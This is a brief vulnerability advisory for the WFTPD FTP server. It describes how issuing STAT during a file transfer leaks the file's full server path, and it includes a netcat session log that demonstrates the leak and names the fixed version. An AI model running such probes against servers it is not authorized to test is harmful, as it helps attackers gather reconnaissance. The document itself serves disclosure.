COMMAND

    wftpd

SYSTEMS AFFECTED

    WFTPD/WFTPD Pro 2.41 RC11, and prior

PROBLEM

    Blue Panda found following.   If a transfer is  in progress and  a
    STAT command is issued, the full path of the file being transfered
    is revealed, ie:

        D:\utils\other\netcat>nc panda 21 -v -v
        panda [192.168.1.1] 21 (ftp) open: unknown socket error
        220 WFTPD 2.4 service (by Texas Imperial Software) ready for new user
        user anonymous
        331-Anonymous user access allowed - please enter your email
        331-address as the password:
        331 Give me your password, please
        pass
        230 Logged in successfully
        retr test.txt
        stat
        211-panda FTP server status:
         Transfer in progress:
         D:\FTPROOT\test.txt
         0 bytes into a 5130 byte file
        211 End of status
        425 Unable to open data connection - error=3D[10061] Connection refused

SOLUTION

    WFTPD/WFTPD Pro 2.41 RC12.